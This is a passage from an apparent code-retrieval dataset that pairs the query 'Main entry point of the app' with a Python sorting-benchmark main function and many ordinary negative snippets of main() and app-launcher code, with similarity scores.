.format(longest_token(corpus)))\\n print('The number of hapaxes is {} and represents the {} of the corpus.\\\\n.' .format(hapaxes(corpus), percentage(hapaxes(corpus), corpus_length(corpus))))\\n print('The 10 most frequent types of the total tokens are {} and represent the {}%.\\\\n' .format(most_frequent(corpus), percentage_common_types(corpus))) \\n print('The hapaxes present in each of the 9 partitions are {}.\\\\n' .format(hapaxes_parts(d_corp)))\\n print('The percentage of hapaxes for each partition is {}.\\\\n' .format(percentage_hapaxes(d_corp, corpus)))\\n plots(d_corp, corpus)\\n print('\\\\nIn the tupla {}, the first element is the number of unique bigrams, and the second element is the percentage of unique bigrams from all the bigrams in the corpus. Similarly, in this tupla {}, the first element is the number of unique trigrams, and the second element is the percentage of unique trigrams from all the bigrams in the corpus.' .format(ngram(corpus, 2), ngram(corpus, 3)))\",\n \"async def parse_links(\\n self, response: aiohttp.ClientResponse\\n ) -> typing.Tuple[UrlStatistic, set]:\\n links = set()\\n content_type = None\\n encoding = None\\n body = await response.read()\\n\\n if response.status == 200:\\n content_type = response.headers.get('content-type')\\n enc: typing.Dict[str, str] = {}\\n\\n if content_type:\\n content_type, enc = cgi.parse_header(content_type)\\n\\n encoding = enc.get('charset', 'utf-8')\\n\\n if content_type in ('text/html', 'application/xml'):\\n text = await response.text()\\n\\n # replace href with (?:href|src) to follow image links\\n urls = set(re.findall(r'''(?i)href=[\\\"']([^\\\\s\\\"'<>]+)''', text))\\n if urls:\\n LOGGER.info(\\n f'found {len(urls)} distinct urls via {response.url.human_repr()}' # pylint: disable=C0301 # noqa: E501\\n )\\n\\n for url in urls:\\n normalized = urllib.parse.urljoin(str(response.url), url)\\n\\n defragmented, _ = urllib.parse.urldefrag(normalized)\\n\\n if self.is_url_valid(defragmented):\\n links.add(defragmented)\\n\\n stat = UrlStatistic(\\n url=response.url,\\n next_url=None,\\n status=response.status,\\n exception=None,\\n size=len(body),\\n content_type=content_type,\\n encoding=encoding,\\n num_urls=len(links),\\n num_new_urls=len(links - self.crawled_urls),\\n )\\n\\n return stat, links\",\n \"def main(args):\\n t1 = time.time()\\n # Most of the URL fetching libraries will want an explicit protocol.\\n # Allow loose commandline args\\n base = protocolise(args.domain)\\n\\n seen = set()\\n sitemap = networkx.DiGraph()\\n\\n #fetch_website(sitemap, seen, base, base)\\n fetch_website_gevent(sitemap, set([base]), base, [base])\\n\\n outfile = output(sitemap, deprotocolise(base))\\n\\n t2 = time.time()\\n print DONE.format(outfile)\\n if args.bench:\\n bench_report(t1, t2)\\n\\n return 0\",\n \"def test_parse_url(self):\\n filename = 'demo-file.tar.gz'\\n backend = BackendS3(**self.config)\\n pb = PathBuilder('123456')\\n base_url = backend.get_url()\\n id = utils.generate_id(filename)\\n parts = backend.id_to_path(id)\\n path = '/'.join(parts)\\n object_url = base_url + '/' + path + '/'\\n original = object_url + filename\\n crop_filename = pb.get_auto_crop_filename(id, '100x100', 'fit', 'jpg')\\n resize = object_url + crop_filename\\n result1 = backend.parse_url(original)\\n result2 = backend.parse_url(resize)\\n self.assertEquals(id, result1[0])\\n self.assertEquals(filename, result1[1])\\n self.assertEquals(id, result2[0])\\n self.assertEquals(crop_filename, result2[1])\",\n \"def storeSegment ( baseurl, fields, token ):\\n\\n # Create the segment and initialize it's fields\\n ann = annotation.Annotation()\\n\\n ann.annid = int(fields[0])\\n\\n # Exceptional cases\\n if ann.annid in EXCEPTIONS:\\n print \\\"Skipping id \\\", ann.annid\\n return \\n\\n descriptorstr = fields[40].split(\\\"\\\\\\\"\\\")\\n descriptor = descriptorstr[1]\\n\\n ann.kvpairs = { 'sourceId':fields[0], 'sourceDescription':descriptor }\\n ann.author = 'Kasthuri,N.'\\n\\n pprint(vars(ann))\\n\\n h5anno = h5ann.AnnotationtoH5 ( ann )\\n\\n url = \\\"http://%s/annotate/%s/\\\" % ( baseurl, token)\\n print url\\n\\n try:\\n req = urllib2.Request ( url, h5anno.fileReader()) \\n response = urllib2.urlopen(req)\\n except urllib2.URLError, e:\\n print \\\"Failed URL\\\", url\\n print \\\"Error %s\\\" % (e.read()) \\n sys.exit(0)\\n\\n the_page = response.read()\\n print \\\"Success with id %s\\\" % the_page\",\n \"def generate_signature(cls, secret, verb, url, nonce, data):\\n # Parse the url so we can remove the base and extract just the path.\\n parsedURL = urlparse(url)\\n path = parsedURL.path\\n if parsedURL.query:\\n path = path + '?' + parsedURL.query\\n\\n # print \\\"Computing HMAC: %s\\\" % verb + path + str(nonce) + data\\n message = verb + path + str(nonce) + data\\n\\n signature = hmac.new(bytes(secret, 'utf8'), bytes(message, 'utf8'), digestmod=hashlib.sha256).hexdigest()\\n return signature\",\n \"def get_pub_scores(self, subset='auth_all'):\\n from nltk.corpus import stopwords\\n from nltk.tokenize import word_tokenize\\n import csv\\n from difflib import SequenceMatcher\\n import jellyfish\\n# self.sanity_check()\\n\\n if subset == 'auth_top':\\n pubs = self.pub_auth_top['pub']\\n elif subset == 'auth_all':\\n pubs = self.pub_auth_all['pub']\\n elif subset == 'inst_top':\\n pubs = self.pub_inst_top['pub']\\n elif subset == 'inst_all':\\n pubs = self.pub_inst_all['pub']\\n\\n # load publication metrics\\n\\n # download stowords the first time\\n def similar(a, b):\\n return SequenceMatcher(None, a, b).ratio()\\n\\n def get_q(s):\\n q = 0\\n if \\\"Q4\\\" in s:\\n q = 4\\n if \\\"Q3\\\" in s:\\n q = 3\\n if \\\"Q2\\\" in s:\\n q = 2\\n if \\\"Q1\\\" in s:\\n q = 1\\n return q\\n\\n stop_words = set(stopwords.words('english'))\\n\\n journals = []\\n with open('scimagojr.csv', newline='') as csvfile:\\n s = csv.reader(csvfile, delimiter=';')\\n for row in s:\\n jname = row[2].lower()\\n word_tokens = word_tokenize(jname)\\n fname = [w for w in word_tokens if w not in stop_words]\\n sent1 = ' '.join(fname)\\n sent1 = sent1.replace('/', '')\\n row[2] = sent1\\n journals.append(row)\\n\\n Q = []\\n for p in pubs:\\n jname = p.lower()\\n word_tokens = word_tokenize(jname)\\n fname = [w for w in word_tokens if w not in stop_words]\\n sent1 = ' '.join(fname)\\n sent1 = sent1.replace('/', '')\\n\\n match = 0\\n J = \\\"\\\"\\n for Journal in journals:\\n journal = Journal[2]\\n s1 = similar(sent1, journal)\\n s2 = jellyfish.jaro_winkler(sent1, journal)\\n if s1 > 0.9 and s2 > 0.9:\\n match += 1\\n J = Journal[-1]\\n Q.append(get_q(J))\\n\\n if subset == 'auth_top':\\n self.pub_auth_top['Q'] = Q\\n elif subset == 'auth_all':\\n self.pub_auth_all['Q'] = Q\\n elif subset == 'inst_top':\\n self.pub_inst_top['Q'] = Q\\n elif subset == 'inst_all':\\n self.pub_inst_all['Q'] = Q\"\n]","isConversational":false},"negative_scores":{"kind":"list like","value":["0.543832","0.5280647","0.51642716","0.5056459","0.495256","0.48807248","0.48625764","0.48599264","0.48568204","0.47857365","0.47223318","0.47000122","0.46585315","0.46579164","0.46506143","0.46413884","0.463814","0.46201074","0.46052003","0.45923313","0.4586054","0.45815164","0.45668027","0.4552537","0.45519006","0.4545646","0.45397836","0.45397615","0.4530708","0.4519163","0.4516797","0.4508891","0.45061123","0.44840613","0.4481586","0.44813925","0.4474267","0.44679207","0.44591534","0.44357646","0.44301072","0.44144037","0.4406194","0.43886203","0.43748605","0.43707627","0.43693534","0.43664202","0.4353155","0.43475443","0.43454543","0.4334823","0.4334355","0.43312752","0.4330536","0.43185318","0.43168536","0.43168408","0.43144","0.42948467","0.4289072","0.4285481","0.4280778","0.42745158","0.42721492","0.4270829","0.42705226","0.42675668","0.42666247","0.4265788","0.42525402","0.42513102","0.42476398","0.42427388","0.42425245","0.42396325","0.423913","0.4237188","0.4236866","0.4233224","0.422092","0.42147517","0.4210366","0.42092857","0.42009234","0.4198955","0.41988656","0.4198342","0.41973987","0.41953838","0.419362","0.41933018","0.41920966","0.41918755","0.419069","0.4186896","0.41849977","0.4184515","0.41844422","0.41831228","0.41824612"],"string":"[\n \"0.543832\",\n \"0.5280647\",\n \"0.51642716\",\n \"0.5056459\",\n \"0.495256\",\n \"0.48807248\",\n \"0.48625764\",\n \"0.48599264\",\n \"0.48568204\",\n \"0.47857365\",\n \"0.47223318\",\n \"0.47000122\",\n \"0.46585315\",\n \"0.46579164\",\n \"0.46506143\",\n \"0.46413884\",\n \"0.463814\",\n \"0.46201074\",\n \"0.46052003\",\n \"0.45923313\",\n \"0.4586054\",\n \"0.45815164\",\n \"0.45668027\",\n \"0.4552537\",\n \"0.45519006\",\n \"0.4545646\",\n \"0.45397836\",\n \"0.45397615\",\n \"0.4530708\",\n \"0.4519163\",\n \"0.4516797\",\n \"0.4508891\",\n \"0.45061123\",\n \"0.44840613\",\n \"0.4481586\",\n \"0.44813925\",\n \"0.4474267\",\n \"0.44679207\",\n \"0.44591534\",\n \"0.44357646\",\n \"0.44301072\",\n \"0.44144037\",\n \"0.4406194\",\n \"0.43886203\",\n \"0.43748605\",\n \"0.43707627\",\n \"0.43693534\",\n \"0.43664202\",\n \"0.4353155\",\n \"0.43475443\",\n \"0.43454543\",\n \"0.4334823\",\n \"0.4334355\",\n \"0.43312752\",\n \"0.4330536\",\n \"0.43185318\",\n \"0.43168536\",\n \"0.43168408\",\n \"0.43144\",\n \"0.42948467\",\n \"0.4289072\",\n \"0.4285481\",\n \"0.4280778\",\n \"0.42745158\",\n \"0.42721492\",\n \"0.4270829\",\n \"0.42705226\",\n \"0.42675668\",\n \"0.42666247\",\n \"0.4265788\",\n \"0.42525402\",\n \"0.42513102\",\n \"0.42476398\",\n \"0.42427388\",\n \"0.42425245\",\n \"0.42396325\",\n \"0.423913\",\n \"0.4237188\",\n \"0.4236866\",\n \"0.4233224\",\n \"0.422092\",\n \"0.42147517\",\n \"0.4210366\",\n \"0.42092857\",\n \"0.42009234\",\n \"0.4198955\",\n \"0.41988656\",\n \"0.4198342\",\n \"0.41973987\",\n \"0.41953838\",\n \"0.419362\",\n \"0.41933018\",\n \"0.41920966\",\n \"0.41918755\",\n \"0.419069\",\n \"0.4186896\",\n \"0.41849977\",\n \"0.4184515\",\n \"0.41844422\",\n \"0.41831228\",\n \"0.41824612\"\n]","isConversational":false},"document_score":{"kind":"string","value":"0.0"},"document_rank":{"kind":"string","value":"-1"}}},{"rowIdx":14487,"cells":{"query":{"kind":"string","value":"Main entry point of the app"},"document":{"kind":"string","value":"def main(args):\n\tunsorted_array = []\n\n\tif args.order == 'ASC':\n\t\tunsorted_array = list(range(0, int(args.instancesize)))\n\n\tif args.order == 'DESC':\n\t\tunsorted_array = list(range(0, int(args.instancesize)))\n\t\tunsorted_array = list(reversed(unsorted_array))\n\n\tif args.order == 'RAND':\n\t\tunsorted_array = list(range(0, int(args.instancesize)))\n\t\tnp.random.shuffle(unsorted_array)\n\n\tsize = int(args.instancesize)\n\n\tif args.algorithm == 'all':\n\t\tselection_sort(unsorted_array, size)\n\t\tinsertion_sort(unsorted_array, size)\n\t\tshell_sort(unsorted_array, size)\n\t\tmerge_sort(unsorted_array, size)\n\t\theap_sort(unsorted_array, size)\n\t\tquick_sort(unsorted_array, size)\n\n\tif args.algorithm == 'selection':\n\t\tselection_sort(unsorted_array, size)\n\n\tif args.algorithm == 'insertion':\n\t\tinsertion_sort(unsorted_array, size)\n\n\tif args.algorithm == 'shell':\n\t\tshell_sort(unsorted_array, size)\n\n\tif args.algorithm == 'merge':\n\t\tmerge_sort(unsorted_array, size)\n\n\tif args.algorithm == 'heap':\n\t\theap_sort(unsorted_array, size)\n\n\tif args.algorithm == 'quick':\n\t\tquick_sort(unsorted_array, size)"},"metadata":{"kind":"string","value":"{\n \"objective\": {\n \"self\": [],\n \"paired\": [],\n \"triplet\": [\n [\n \"query\",\n \"document\",\n \"negatives\"\n ]\n ]\n }\n}"},"negatives":{"kind":"list like","value":["def main():\n app = App()\n app.run()","def main():\n print(\"def main\")\n return APP.run()","def main(args=None):\n app()\n return 0","def main():\n CLI_APP.run()","def main():\n app.run(debug=True)","def entry_point():","def entry_point():","def entry_point():","def startapp():","def main(self) -> None:\n pass","def main(self):\r\n pass","def main():\n print(\"Call your main application code here\")","def main():\n print(\"Call your main application code here\")","def main():\n print(\"Call your main application code here\")","def run(self):\n self.app.run()","def run(self):\n self.app.run()","def main():\n pass","def main():\n return","def main():\n game = RiichiMahjongApp()\n game.run()","def main():\n LOGGER.info('Loading Application')\n main_app = Application()\n parser = argparse.ArgumentParser()\n parser.add_argument(\"-c\", \"--console\", help=\"Command Line Mode\", action=\"store_true\")\n args = parser.parse_args()\n if args.console:\n LOGGER.info('Command Line Mode')\n main_app.run()\n else:\n main_app.controller.gui_enabled = True\n try:\n import gui\n except ModuleNotFoundError:\n from herdcl import gui\n app = gui.MainUI()\n LOGGER.info('Opening GUI')\n app.mainloop()","def run():\n app.run()","def main():\n app = RunSnakeRunApp(0)\n app.MainLoop()","def main():\n import sys\n FILES.extend(sys.argv[1:])\n app.debug = True\n app.run(port=5001, threaded=False)","def main(self):","def main(self, **kwargs) -> None:\n ...","def main():\n Log.info('Installing...')\n app = Application()\n app.run()\n Log.info(\"Done successfully.\")","def create_and_run():\n\n app = App()\n app.run()","def main():\n\n root = tk.Tk()\n root.title(\"Exploring US Bikeshare Data\")\n app = Application(master=root)\n print(\"Application loaded! Please use the GUI window to continue...\")\n app.mainloop()","def main():\n Main()","def main(args):","def main(args):","def main():\n options = lib.main.parse_args()\n\n #Initialize all the loggings with the options specified.\n lib.main.logs_initialization(options)\n logging.debug(\"Logs are now enabled and working\")\n\n #Update the main config file with the app information.\n logging.debug(\"Updating parameters on config files\")\n lib.config.update_params()\n\n # Finally, when all the initialization schedule is completed, Flask\n # will start.\n logging.debug(\"Calling Flask initializator function\")\n api.start(options[\"debug\"])","def main(args=None):","def main(args=None):","def run():\n main()","def main():","def main():","def main():","def main():","def main():","def main():","def main():","def main():","def main():","def main():","def main():","def main():","def main():","def main():","def main():","def main():","def main():","def main():","def main():","def main():","def main():","def main():","def main() -> None:\n try:\n config = Config.load_config()\n asyncio.run(App(config=config, no_history=False).run())\n except ClientError:\n raise\n except Exception as e:\n raise Bug(str(e))","def main(argv=sys.argv):\n logging.basicConfig()\n exit_code = 1\n try:\n app = Application(argv)\n app.run()\n exit_code = 0\n except KeyboardInterrupt:\n exit_code = 0\n except Exception as exc:\n LOG.exception(exc)\n sys.exit(exit_code)","def main():\r\n app = application.Application()\r\n app.initializeLayer(menu.Menu())\r\n app.run()","def main(config: str):\n application = Application(config_path=config)\n application.run()","def main(self: object) -> None:\n print(\"[View] main\")\n self.mainloop()","def main():\r\n run_wsgi_app(app)","def main() -> None:","def main() -> None:","def main() -> None:","def main() -> None:","def main():\n\n global _CLIENT\n\n logging.basicConfig(level=logging.DEBUG)\n app.logger.setLevel(logging.INFO)\n\n _CLIENT = Client('192.168.0.120', 443, 'root', 'calvin')\n _CLIENT.connect()\n\n\n app.run(debug=True)","def main() -> None:\n return","def main(self):\n pass","def main():\n\tcli = Cli()\n\tcli.run()","def main():\n run_wsgi_app(APP)","def main():\n sdoc_application = SDocApplication()\n sdoc_application.run()","def main():\n\n # Has oceanview done something? If this is still false by the end,\n # Display the Usage information.\n did_something = False\n\n # The user wants to clear the database.\n if 'cleardb' in sys.argv:\n did_something = True\n print(\"It's sqlite, just delete the file.\")\n\n # The user wants the test data added to the database.\n if 'maketestdb' in sys.argv:\n did_something = True\n database = data.Database(\"db.sqlite\", \"database/build_db.sql\")\n dbutil.add_test_data(database)\n\n # The user wants the front end launched\n if 'front' in sys.argv or 'both' in sys.argv:\n did_something = True\n frontend = front.init()\n frontend.run(INTERFACE, 8000)\n\n # The user wants the back end launched.\n if 'back' in sys.argv or 'both' in sys.argv:\n did_something = True\n backend = back.init()\n backend.run(INTERFACE, 80)\n\n # did_something is False, nothing was done, show the usage info.\n if did_something is False:\n print(\"Usage: python oceanview.py [command]\")\n print(\"COMMANDS:\")\n print(\" front - start the frontend\")\n print(\" back - start the backend\")\n print(\" both - start both\")\n print(\" maketestdb - add test data to the database\")","def main():\n print(\"is Running!\")","def entry_point():\n\n\n plac.call(main)","def main():\n ensure_not_root()\n config.setup()\n model.init_db()\n manager.run()","def main():\n # Verify the database exists and has the correct layout\n db_seeder()\n app = DiminuendoApp()\n http_server = tornado.httpserver.HTTPServer(app)\n http_server.listen(options.port)\n tornado.ioloop.IOLoop.instance().start()","def start(self):\n\n self.app.go()","def entry_point():\n pass","def app():\n # Add balloons animation when page opens\n st.balloons()\n\n # Add title\n st.title(\"Welcome to the about me page\")\n \n # Add Contact Details\n st.header('Contact Us')\n\n # Add email\n st.markdown('''### Name:\n Khushal Mehrotra''')\n\n # Add name\n st.markdown('''### Email:\n kmehrotra07@gmail.com''')\n\n # Add github\n st.markdown('''### GitHub: [Khushal Mehrotra](https://github.com/km-07)''')\n\n # Add linkedin\n st.markdown('''### Linkedin: [Khushal Mehrotra](https://www.linkedin.com/in/khushal-mehrotra-5276091a9/)''')","def main():\n\tpass","def main() -> None:\n config = get_config()\n app = Application()\n web_config = config[\"web\"]\n webapp = WebApp(config)\n webapp.attach_to(app)\n\n run_config = keep(web_config, {\"host\", \"port\"})\n run_app(app, **run_config)","def main():\n args = utils.parse_arguments()\n logging.basicConfig(level=logging.INFO)\n coloredlogs.install(level=0,\n fmt=\"[%(asctime)s][%(levelname)s] [%(name)s.%(funcName)s:%(lineno)d] %(message)s\",\n isatty=True)\n if args.debug:\n l_level = logging.DEBUG\n else:\n l_level = logging.INFO\n\n logging.getLogger(__package__).setLevel(l_level)\n\n LOG.info('RUNNING TAMAGO WEB')\n serve(app, port=8080, host='0.0.0.0')","def main():\n cfg.CONF(sys.argv[1:], project='blazar', prog='blazar-api')\n notifier.init()\n service_utils.prepare_service(sys.argv)\n if not CONF.enable_v1_api:\n app = v2_app.make_app()\n else:\n app = wsgi_app.VersionSelectorApplication()\n\n wsgi.server(eventlet.listen((CONF.host, CONF.port), backlog=500), app)","def start():\n app.run()","def run():\n REDIRECT = False\n LOG_FILE = \"truss.log\"\n app = App(REDIRECT)\n app.MainLoop()","def mainloop(self):\n self.app.mainloop()","def main(cls):\n raise NotImplementedError","def main(ctx, verbose):\n return","def app():\n return aplicattion","def main():\n CalculatorApp().mainloop()","def main():\n print(\"Everythin is ok\")","def main():\n # Initialize the event manager.\n event_manager = events.EventManager()\n AppState.get_state().set_event_manager(event_manager)\n\n # Initialize and register the application heartbeat.\n heart_beat = HeartBeat()\n event_manager.register_listener(heart_beat)\n\n # Initialize and register the world.\n basic_experiment = experiment.basic.BasicExperiment()\n world = basic_experiment.get_world()\n event_manager.register_listener(world)\n AppState.get_state().set_world(world)\n\n # Initialize pygame.\n surface = init()\n\n # Initialize and register the view.\n main_view = view.View(surface)\n event_manager.register_listener(main_view)\n\n # Initialize and register the controller.\n main_controller = controller.Controller()\n event_manager.register_listener(main_controller)\n\n # Start the heartbeat.\n heart_beat.run()","def main():\r\n LOG.info('Starting server build.')\r\n web.run_app(init_app(),\r\n host=os.environ.get('APP_HOST', CONFIG.registry.get('app_host', '0.0.0.0')),\r\n port=int(os.environ.get('APP_PORT', CONFIG.registry.get('app_port', 8080))),\r\n shutdown_timeout=0,\r\n ssl_context=application_security())","def main():\n global HEALTH_AGGREGATOR\n\n os.makedirs(PEM_DIR, exist_ok=True)\n\n if not os.path.exists(f'{os.path.join(os.getcwd(), \"database.db\")}'):\n DB_User.create_all()\n DB_Resource.create_all()\n\n User.add_user('SpiceWorks', 'HealthChecker')\n\n HEALTH_AGGREGATOR = HealthAggregator()\n app.run(port=5000)\n HEALTH_AGGREGATOR.cleanup()","def run():\n app = Application()\n #app.sentry_client = AsyncSentryClient(app.settings['sentry_url'])\n http_server = HTTPServer(app, xheaders=True)\n http_server.listen(options.port)\n print('Running on port %d' % options.port)","def main(args=None):\n pass","def main():\n\ttoken = os.getenv(\"BOT_TOKEN\")\n\tapplication = Application.builder().token(token).read_timeout(30).write_timeout(30).build()\n\tload_interactions(application)\n\tprint(\"Simple Media Converter instance started!\")\n\tapplication.run_polling()","def app():\n return create_app()","def main() -> None:\r\n parser = argparse.ArgumentParser(description='Recommender Room',\r\n prefix_chars='-')\r\n \r\n parser.add_argument('-v', '--verbose', required=False, action='store_true',\r\n help='display additional information to the terminal')\r\n \r\n parser.add_argument('-o', '--host', required=False, default=rec.HOST,\r\n help='select hostname or IP address for the web application')\r\n \r\n parser.add_argument('-p', '--port', type=int, required=False, default=rec.PORT,\r\n help='select port for the web application')\r\n \r\n parser.add_argument('-cfg', '--configuration', dest='config', required=False,\r\n choices=CONFIG_CHOICES, default='debug', \r\n help='set the appropriate configuration settings for the web application')\r\n \r\n args = parser.parse_args() \r\n rec_api.start_server(args)"],"string":"[\n \"def main():\\n app = App()\\n app.run()\",\n \"def main():\\n print(\\\"def main\\\")\\n return APP.run()\",\n \"def main(args=None):\\n app()\\n return 0\",\n \"def main():\\n CLI_APP.run()\",\n \"def main():\\n app.run(debug=True)\",\n \"def entry_point():\",\n \"def entry_point():\",\n \"def entry_point():\",\n \"def startapp():\",\n \"def main(self) -> None:\\n pass\",\n \"def main(self):\\r\\n pass\",\n \"def main():\\n print(\\\"Call your main application code here\\\")\",\n \"def main():\\n print(\\\"Call your main application code here\\\")\",\n \"def main():\\n print(\\\"Call your main application code here\\\")\",\n \"def run(self):\\n self.app.run()\",\n \"def run(self):\\n self.app.run()\",\n \"def main():\\n pass\",\n \"def main():\\n return\",\n \"def main():\\n game = RiichiMahjongApp()\\n game.run()\",\n \"def main():\\n LOGGER.info('Loading Application')\\n main_app = Application()\\n parser = argparse.ArgumentParser()\\n parser.add_argument(\\\"-c\\\", \\\"--console\\\", help=\\\"Command Line Mode\\\", action=\\\"store_true\\\")\\n args = parser.parse_args()\\n if args.console:\\n LOGGER.info('Command Line Mode')\\n main_app.run()\\n else:\\n main_app.controller.gui_enabled = True\\n try:\\n import gui\\n except ModuleNotFoundError:\\n from herdcl import gui\\n app = gui.MainUI()\\n LOGGER.info('Opening GUI')\\n app.mainloop()\",\n \"def run():\\n app.run()\",\n \"def main():\\n app = RunSnakeRunApp(0)\\n app.MainLoop()\",\n \"def main():\\n import sys\\n FILES.extend(sys.argv[1:])\\n app.debug = True\\n app.run(port=5001, threaded=False)\",\n \"def main(self):\",\n \"def main(self, **kwargs) -> None:\\n ...\",\n \"def main():\\n Log.info('Installing...')\\n app = Application()\\n app.run()\\n Log.info(\\\"Done successfully.\\\")\",\n \"def create_and_run():\\n\\n app = App()\\n app.run()\",\n \"def main():\\n\\n root = tk.Tk()\\n root.title(\\\"Exploring US Bikeshare Data\\\")\\n app = Application(master=root)\\n print(\\\"Application loaded! Please use the GUI window to continue...\\\")\\n app.mainloop()\",\n \"def main():\\n Main()\",\n \"def main(args):\",\n \"def main(args):\",\n \"def main():\\n options = lib.main.parse_args()\\n\\n #Initialize all the loggings with the options specified.\\n lib.main.logs_initialization(options)\\n logging.debug(\\\"Logs are now enabled and working\\\")\\n\\n #Update the main config file with the app information.\\n logging.debug(\\\"Updating parameters on config files\\\")\\n lib.config.update_params()\\n\\n # Finally, when all the initialization schedule is completed, Flask\\n # will start.\\n logging.debug(\\\"Calling Flask initializator function\\\")\\n api.start(options[\\\"debug\\\"])\",\n \"def main(args=None):\",\n \"def main(args=None):\",\n \"def run():\\n main()\",\n \"def main():\",\n \"def main():\",\n \"def main():\",\n \"def main():\",\n \"def main():\",\n \"def main():\",\n \"def main():\",\n \"def main():\",\n \"def main():\",\n \"def main():\",\n \"def main():\",\n \"def main():\",\n \"def main():\",\n \"def main():\",\n \"def main():\",\n \"def main():\",\n \"def main():\",\n \"def main():\",\n \"def main():\",\n \"def main():\",\n \"def main():\",\n \"def main():\",\n \"def main() -> None:\\n try:\\n config = Config.load_config()\\n asyncio.run(App(config=config, no_history=False).run())\\n except ClientError:\\n raise\\n except Exception as e:\\n raise Bug(str(e))\",\n \"def main(argv=sys.argv):\\n logging.basicConfig()\\n exit_code = 1\\n try:\\n app = Application(argv)\\n app.run()\\n exit_code = 0\\n except KeyboardInterrupt:\\n exit_code = 0\\n except Exception as exc:\\n LOG.exception(exc)\\n sys.exit(exit_code)\",\n \"def main():\\r\\n app = application.Application()\\r\\n app.initializeLayer(menu.Menu())\\r\\n app.run()\",\n \"def main(config: str):\\n application = Application(config_path=config)\\n application.run()\",\n \"def main(self: object) -> None:\\n print(\\\"[View] main\\\")\\n self.mainloop()\",\n \"def main():\\r\\n run_wsgi_app(app)\",\n \"def main() -> None:\",\n \"def main() -> None:\",\n \"def main() -> None:\",\n \"def main() -> None:\",\n \"def main():\\n\\n global _CLIENT\\n\\n logging.basicConfig(level=logging.DEBUG)\\n app.logger.setLevel(logging.INFO)\\n\\n _CLIENT = Client('192.168.0.120', 443, 'root', 'calvin')\\n _CLIENT.connect()\\n\\n\\n app.run(debug=True)\",\n \"def main() -> None:\\n return\",\n \"def main(self):\\n pass\",\n \"def main():\\n\\tcli = Cli()\\n\\tcli.run()\",\n \"def main():\\n run_wsgi_app(APP)\",\n \"def main():\\n sdoc_application = SDocApplication()\\n sdoc_application.run()\",\n \"def main():\\n\\n # Has oceanview done something? If this is still false by the end,\\n # Display the Usage information.\\n did_something = False\\n\\n # The user wants to clear the database.\\n if 'cleardb' in sys.argv:\\n did_something = True\\n print(\\\"It's sqlite, just delete the file.\\\")\\n\\n # The user wants the test data added to the database.\\n if 'maketestdb' in sys.argv:\\n did_something = True\\n database = data.Database(\\\"db.sqlite\\\", \\\"database/build_db.sql\\\")\\n dbutil.add_test_data(database)\\n\\n # The user wants the front end launched\\n if 'front' in sys.argv or 'both' in sys.argv:\\n did_something = True\\n frontend = front.init()\\n frontend.run(INTERFACE, 8000)\\n\\n # The user wants the back end launched.\\n if 'back' in sys.argv or 'both' in sys.argv:\\n did_something = True\\n backend = back.init()\\n backend.run(INTERFACE, 80)\\n\\n # did_something is False, nothing was done, show the usage info.\\n if did_something is False:\\n print(\\\"Usage: python oceanview.py [command]\\\")\\n print(\\\"COMMANDS:\\\")\\n print(\\\" front - start the frontend\\\")\\n print(\\\" back - start the backend\\\")\\n print(\\\" both - start both\\\")\\n print(\\\" maketestdb - add test data to the database\\\")\",\n \"def main():\\n print(\\\"is Running!\\\")\",\n \"def entry_point():\\n\\n\\n plac.call(main)\",\n \"def main():\\n ensure_not_root()\\n config.setup()\\n model.init_db()\\n manager.run()\",\n \"def main():\\n # Verify the database exists and has the correct layout\\n db_seeder()\\n app = DiminuendoApp()\\n http_server = tornado.httpserver.HTTPServer(app)\\n http_server.listen(options.port)\\n tornado.ioloop.IOLoop.instance().start()\",\n \"def start(self):\\n\\n self.app.go()\",\n \"def entry_point():\\n pass\",\n \"def app():\\n # Add balloons animation when page opens\\n st.balloons()\\n\\n # Add title\\n st.title(\\\"Welcome to the about me page\\\")\\n \\n # Add Contact Details\\n st.header('Contact Us')\\n\\n # Add email\\n st.markdown('''### Name:\\n Khushal Mehrotra''')\\n\\n # Add name\\n st.markdown('''### Email:\\n kmehrotra07@gmail.com''')\\n\\n # Add github\\n st.markdown('''### GitHub: [Khushal Mehrotra](https://github.com/km-07)''')\\n\\n # Add linkedin\\n st.markdown('''### Linkedin: [Khushal Mehrotra](https://www.linkedin.com/in/khushal-mehrotra-5276091a9/)''')\",\n \"def main():\\n\\tpass\",\n \"def main() -> None:\\n config = get_config()\\n app = Application()\\n web_config = config[\\\"web\\\"]\\n webapp = WebApp(config)\\n webapp.attach_to(app)\\n\\n run_config = keep(web_config, {\\\"host\\\", \\\"port\\\"})\\n run_app(app, **run_config)\",\n \"def main():\\n args = utils.parse_arguments()\\n logging.basicConfig(level=logging.INFO)\\n coloredlogs.install(level=0,\\n fmt=\\\"[%(asctime)s][%(levelname)s] [%(name)s.%(funcName)s:%(lineno)d] %(message)s\\\",\\n isatty=True)\\n if args.debug:\\n l_level = logging.DEBUG\\n else:\\n l_level = logging.INFO\\n\\n logging.getLogger(__package__).setLevel(l_level)\\n\\n LOG.info('RUNNING TAMAGO WEB')\\n serve(app, port=8080, host='0.0.0.0')\",\n \"def main():\\n cfg.CONF(sys.argv[1:], project='blazar', prog='blazar-api')\\n notifier.init()\\n service_utils.prepare_service(sys.argv)\\n if not CONF.enable_v1_api:\\n app = v2_app.make_app()\\n else:\\n app = wsgi_app.VersionSelectorApplication()\\n\\n wsgi.server(eventlet.listen((CONF.host, CONF.port), backlog=500), app)\",\n \"def start():\\n app.run()\",\n \"def run():\\n REDIRECT = False\\n LOG_FILE = \\\"truss.log\\\"\\n app = App(REDIRECT)\\n app.MainLoop()\",\n \"def mainloop(self):\\n self.app.mainloop()\",\n \"def main(cls):\\n raise NotImplementedError\",\n \"def main(ctx, verbose):\\n return\",\n \"def app():\\n return aplicattion\",\n \"def main():\\n CalculatorApp().mainloop()\",\n \"def main():\\n print(\\\"Everythin is ok\\\")\",\n \"def main():\\n # Initialize the event manager.\\n event_manager = events.EventManager()\\n AppState.get_state().set_event_manager(event_manager)\\n\\n # Initialize and register the application heartbeat.\\n heart_beat = HeartBeat()\\n event_manager.register_listener(heart_beat)\\n\\n # Initialize and register the world.\\n basic_experiment = experiment.basic.BasicExperiment()\\n world = basic_experiment.get_world()\\n event_manager.register_listener(world)\\n AppState.get_state().set_world(world)\\n\\n # Initialize pygame.\\n surface = init()\\n\\n # Initialize and register the view.\\n main_view = view.View(surface)\\n event_manager.register_listener(main_view)\\n\\n # Initialize and register the controller.\\n main_controller = controller.Controller()\\n event_manager.register_listener(main_controller)\\n\\n # Start the heartbeat.\\n heart_beat.run()\",\n \"def main():\\r\\n LOG.info('Starting server build.')\\r\\n web.run_app(init_app(),\\r\\n host=os.environ.get('APP_HOST', CONFIG.registry.get('app_host', '0.0.0.0')),\\r\\n 